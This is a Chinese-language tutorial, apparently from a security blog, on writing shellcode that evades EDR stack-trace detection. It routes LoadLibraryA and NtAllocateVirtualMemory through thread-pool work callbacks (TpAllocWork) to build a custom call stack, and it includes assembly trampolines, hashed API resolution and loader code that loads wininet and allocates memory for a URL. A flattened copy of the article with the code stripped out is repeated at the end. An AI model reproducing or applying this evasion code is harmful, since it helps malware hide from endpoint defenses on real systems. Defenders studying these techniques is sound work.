利用自定义堆栈进行 Shellcode 开发
字数 1036 2025-08-25 22:58:41

利用自定义堆栈进行 Shellcode 开发技术详解

1. 概述

本文详细讲解如何利用回调函数和自定义堆栈技术开发绕过EDR检测的Shellcode。该技术基于BRC4作者提出的"间接系统调用已死,自定义调用堆栈长存"理念,通过修改堆栈调用关系来规避EDR的检测机制。

2. EDR检测原理

EDR通常通过以下方式检测恶意Shellcode:

  1. 用户态Hook或ETW:监控敏感API调用
  2. 堆栈回溯:检查返回地址是否合法

典型的堆栈检测模式:

|-----------Top Of The Stack-----------|
|                                      |
|------Stack Frame of LoadLibrary------|
|     Return address of RX on disk     |
|----------Stack Frame of RX-----------| <- 检测点(未映射的RX区域不应调用LoadLibraryA)
|     Return address of PE on disk     |
|-----------Stack Frame of PE----------|
| Return address of RtlUserThreadStart |
|---------Bottom Of The Stack----------|

3. 回调函数技术详解

3.1 基本概念

回调函数是通过函数指针调用的函数,其特点:

  • 不是由实现方直接调用
  • 在特定事件或条件发生时由另一方调用
  • 用于对事件或条件进行响应

3.2 使用TpAllocWork函数

TpAllocWork函数原型:

NTSTATUS NTAPI TpAllocWork(
    PTP_WORK* ptpWrk,
    PTP_WORK_CALLBACK pfnwkCallback,  // 回调函数指针
    PVOID OptionalArg,               // 回调函数参数
    PTP_CALLBACK_ENVIRON CallbackEnvironment
);

通过将敏感API(如LoadLibraryA)作为回调函数传入,可以改变堆栈调用关系。

3.3 LoadLibraryA的实现问题

直接使用LoadLibraryA作为回调函数存在参数传递问题:

  1. PTP_WORK_CALLBACK类型的回调函数有三个固定参数
  2. LoadLibraryA只需要一个参数(库名)
  3. 参数位置不匹配导致无法正确传递

解决方案:使用汇编代码调整参数传递

汇编实现代码

section .text

extern getLoadLibraryA

global WorkCallback

WorkCallback:
    mov rcx, rdx     ; 将RDX(第二个参数)移动到RCX(第一个参数位置)
    xor rdx, rdx     ; 清空RDX
    call getLoadLibraryA  ; 获取LoadLibraryA地址
    jmp rax          ; 跳转到LoadLibraryA执行

C辅助函数

UINT_PTR getLoadLibraryA() {
    return (UINT_PTR)pLoadLibraryA;  // 返回LoadLibraryA地址
}

3.4 Shellcode中的优化实现

在Shellcode环境中,需要避免使用全局变量,改进方案:

myLoadLibrary PROC
    movq xmm3, rdx    ; 使用XMM寄存器临时保存参数
    xor rdx, rdx
    call getLoadLibraryA
    movq rcx, xmm3    ; 恢复参数到RCX
    xorps xmm3, xmm3  ; 清空XMM寄存器
    jmp rax
myLoadLibrary ENDP

对应的C函数:

EXTERN_C UINT_PTR getLoadLibraryA() {
    FARPROC pLoadLibraryA = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
    return (UINT_PTR)pLoadLibraryA;
}

4. VirtualAlloc的实现

4.1 参数结构体设计

typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
    UINT_PTR pNtAllocateVirtualMemory; // NtAllocateVirtualMemory地址(rax)
    HANDLE hProcess;                   // 进程句柄(rcx)
    PVOID* address;                    // 分配地址指针(rdx)
    PSIZE_T size;                      // 分配大小(r9)
    ULONG permissions;                 // 内存保护属性(栈传递)
} NTALLOCATEVIRTUALMEMORY_ARGS;

4.2 汇编实现

关键点:不破坏现有堆栈结构,在现有栈空间中安排参数

myNtAllocateVirtualMemory PROC
    mov rbx, rdx                ; 备份结构体指针
    mov rax, [rbx]              ; 获取NtAllocateVirtualMemory地址
    mov rcx, [rbx + 8h]         ; 进程句柄 -> RCX
    mov rdx, [rbx + 10h]        ; 地址指针 -> RDX
    xor r8, r8                  ; ZeroBits -> R8
    mov r9, [rbx + 18h]         ; 分配大小 -> R9
    mov r10, [rbx + 20h]        ; 保护属性
    mov [rsp+30h], r10          ; 第6个参数(栈传递)
    mov r10, 3000h              ; AllocationType (MEM_RESERVE|MEM_COMMIT)
    mov [rsp+28h], r10          ; 第5个参数(栈传递)
    jmp rax                     ; 跳转到NtAllocateVirtualMemory
myNtAllocateVirtualMemory ENDP

5. 完整Shellcode构建

5.1 模块加载实现

/* 加载User32.dll */
ai.pfnTpAllocWork(&LoadUser32, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szUser32, NULL);
ai.pfnTpPostWork(LoadUser32);
ai.pfnTpReleaseWork(LoadUser32);

/* 加载Wininet.dll */
ai.pfnTpAllocWork(&LoadWininet, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szWininet, NULL);
ai.pfnTpPostWork(LoadWininet);
ai.pfnTpReleaseWork(LoadWininet);

5.2 内存分配实现

/* 分配URL内存 */
ntAllocateVirtualMemoryUrlArgs.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddressWithHash(0x9488B12D);
ntAllocateVirtualMemoryUrlArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryUrlArgs.address = &httpurl;
ntAllocateVirtualMemoryUrlArgs.size = &allocatedurlsize;
ntAllocateVirtualMemoryUrlArgs.permissions = PAGE_READWRITE;

ai.pfnTpAllocWork(&AllocUrl, (PTP_WORK_CALLBACK)myNtAllocateVirtualMemory, &ntAllocateVirtualMemoryUrlArgs, NULL);
ai.pfnTpPostWork(AllocUrl);
ai.pfnTpReleaseWork(AllocUrl);

6. 编译注意事项

  1. 将汇编代码编译为OBJ文件
  2. 在项目链接器中添加为附加依赖项
  3. 必须禁用优化或仅优化速度,否则Shellcode可能无法正常运行
  4. 此方法生成的Shellcode体积会增大(约2倍)

7. 参考资源

  1. Hiding In PlainSight - Proxying DLL Loads To Hide From ETWTI Stack Tracing
  2. Hiding In PlainSight - Indirect Syscall is Dead! Long Live Custom Call Stacks
  3. WorkCallback callback function (Windows)

完整Demo代码: GitHub仓库链接

利用自定义堆栈进行 Shellcode 开发技术详解 1. 概述 本文详细讲解如何利用回调函数和自定义堆栈技术开发绕过EDR检测的Shellcode。该技术基于BRC4作者提出的"间接系统调用已死,自定义调用堆栈长存"理念,通过修改堆栈调用关系来规避EDR的检测机制。 2. EDR检测原理 EDR通常通过以下方式检测恶意Shellcode: 用户态Hook或ETW :监控敏感API调用 堆栈回溯 :检查返回地址是否合法 典型的堆栈检测模式: 3. 回调函数技术详解 3.1 基本概念 回调函数是通过函数指针调用的函数,其特点: 不是由实现方直接调用 在特定事件或条件发生时由另一方调用 用于对事件或条件进行响应 3.2 使用TpAllocWork函数 TpAllocWork 函数原型: 通过将敏感API(如LoadLibraryA)作为回调函数传入,可以改变堆栈调用关系。 3.3 LoadLibraryA的实现问题 直接使用LoadLibraryA作为回调函数存在参数传递问题: PTP_WORK_CALLBACK 类型的回调函数有三个固定参数 LoadLibraryA只需要一个参数(库名) 参数位置不匹配导致无法正确传递 解决方案:使用汇编代码调整参数传递 汇编实现代码 C辅助函数 3.4 Shellcode中的优化实现 在Shellcode环境中,需要避免使用全局变量,改进方案: 对应的C函数: 4. VirtualAlloc的实现 4.1 参数结构体设计 4.2 汇编实现 关键点:不破坏现有堆栈结构,在现有栈空间中安排参数 5. 完整Shellcode构建 5.1 模块加载实现 5.2 内存分配实现 6. 编译注意事项 将汇编代码编译为OBJ文件 在项目链接器中添加为附加依赖项 必须禁用优化或仅优化速度 ,否则Shellcode可能无法正常运行 此方法生成的Shellcode体积会增大(约2倍) 7. 参考资源 Hiding In PlainSight - Proxying DLL Loads To Hide From ETWTI Stack Tracing Hiding In PlainSight - Indirect Syscall is Dead! Long Live Custom Call Stacks WorkCallback callback function (Windows) 完整Demo代码: GitHub仓库链接